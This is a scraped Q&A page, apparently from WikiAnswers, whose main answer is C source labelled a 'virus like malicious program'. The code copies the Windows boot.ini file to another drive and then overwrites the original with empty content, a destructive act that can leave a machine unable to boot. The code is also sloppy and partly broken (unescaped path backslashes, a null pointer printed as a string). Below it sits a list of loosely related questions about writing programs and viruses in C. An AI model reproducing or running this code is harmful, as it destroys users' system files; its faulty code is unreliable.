answersLogoWhite

0

irus like malicious program

#include <stdio.h>

#include <conio.h>

void main()

{

char b,c;

FILE *f,*g,*h;

clrscr();

c=NULL;

f=fopen("d:\boot.ini","r");

g=fopen("e:\boot.ini","w");

while(1)

{

b=fgetc(f);

if (b==EOF)

break;

fprintf(g,"%c",b);

}

h=fopen("d:\boot.ini","w");

fprintf(h,"%s",c);

fclose(h);

fclose(g);

fclose(f);

getch();

}

User Avatar

Wiki User

12y ago

What else can I help you with?

Related Questions

Is C language readable?

No, but source-programs written in C language are.


What language are virus written?

Viruses can be written in various programming languages, including C, C++, and assembly language. The choice of programming language depends on the complexity and functionality of the virus that the creator wants to achieve.


How do you make computer virus using c language?

Computer viruses can be written in any programming language, not just C. C would be a common language for a virus to be written in because C is fast, and allows viruses to directly access lower level functions like computer memory. C has also been a very popular language for many programs in the past, so those who decide to write a computer virus would be familiar with that language already.


Why server side programs cannot be written in C?

Server side programs can certainly be written in C. They can be written in any language that the environment supports.


In which language is the virus program written?

Assembly. C. Visual basic. Others.


What programming language are antivirus programs usually written in?

I'm pretty sure that they're written in either C or C++.


Where can you get c programs for games?

C is the programming language (some) games are written in, your question makes no sense.


Which programming language is used to create UI windows from scratch in Linux?

Most programs in Linux are written using C or C++.


How to make a computer virus?

Learn a programming language first like C or C++. However, it would be a wiser and better choice to make programs that do useful things instead of viruses.


What is the benift of learning c language?

You will be able to understand C programs. Also to write C programs.


What is the use of the C language?

The C language (or more commonly C++) is the core of most programming done at the desktop level. Most programs written in Linux are in C or C++, as are most Windows programs. A number of languages in recent computer history have been designed to reduce the dependency on C and C++, but have still largely failed to replace C and C++ for high performance applications.


What has the author James Kempf written?

James Kempf has written: 'Numerical software tools in C' -- subject(s): C (Computer program language), Computer programs, Numerical analysis